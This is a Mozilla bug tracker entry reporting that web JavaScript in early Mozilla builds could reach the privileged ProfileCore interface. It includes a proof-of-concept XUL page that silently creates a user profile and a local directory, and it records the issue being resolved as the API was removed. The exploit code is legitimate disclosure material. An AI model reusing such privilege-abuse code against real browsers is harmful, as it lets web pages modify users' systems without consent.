Closed
Bug 10263
Opened 26 years ago
Closed 26 years ago
Script may create profiles and local directories
Categories
(Core :: Security, defect, P3)
Tracking
()
VERIFIED
WORKSFORME
M11
People
(Reporter: joro, Assigned: norrisboyd)
References
()
Details
Mozilla 5.0 M8 Win95 (guess all platforms) allows creating profiles and local
directories without user's knowledge.
For details, examine the XUL code:
-----------------------------prof1.xul-------------------------
<?xml version="1.0"?>
<!DOCTYPE window>
<window
xmlns:html="http://www.w3.org/TR/REC-html40"
xmlns:xul ="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
title = "Creating profiles and local directories">
<html:script>
<![CDATA[
// The profile and directory to be created
var data="ProfileName=guninski%ProfileDir=C:\\guninskix%";
var profileCore = XPAppCoresManager.Find("ProfileCore");
if (!profileCore)
{
profileCore = new ProfileCore();
if (profileCore) {
profileCore.Init("ProfileCore");
}
else {
dump("profile not created\n");
}
}
if (profileCore) {
profileCore.CreateNewProfile(data);
}
]]>
</html:script>
<html:h3> This page adds a user profile and creates a directory C:\guninskix.
<html:br>
</html:h3>
</window>
---------------------------------------------------------------
![]() |
Assignee | |
Updated•26 years ago
|
Status: NEW → ASSIGNED
![]() |
Assignee | |
Comment 1•26 years ago
|
||
The XPAppCoresManager shouldn't be accessible from web JavaScript. Is it?
It is accessible from web JavaScript.
Check: http://www.nat.bg/~joro/mozilla/prof1.xul
Tested with M8 and build 1999080508
![]() |
Assignee | |
Updated•26 years ago
|
Target Milestone: M11
![]() |
Assignee | |
Updated•26 years ago
|
![]() |
Assignee | |
Comment 3•26 years ago
|
||
I now get an error from the XML parser.
![]() |
||
Comment 4•26 years ago
|
||
Appcores are going away...(and I'm removing them myself since noone else seems
to want to)
I would just mark this invalid.
I think this bug is fixed because the new profile manager uses XPConnect instead
of AppCore. Anyway I fixed the XML parser error and the new error is:
"JavaScript Error: ReferenceError: ProfileCore is not defined
"
![]() |
Assignee | |
Updated•26 years ago
|
Status: ASSIGNED → RESOLVED
Closed: 26 years ago
Resolution: --- → WORKSFORME
![]() |
Assignee | |
Comment 6•26 years ago
|
||
Now get the error
JavaScript Error: ReferenceError: ProfileCore is not defined
Bulk moving all Browser Security bugs to new Security: General component. The
previous Security component for Browser will be deleted.
Component: Security → Security: General
Comment hidden (collapsed) |
You need to log in
before you can comment on or make changes to this bug.
Description
•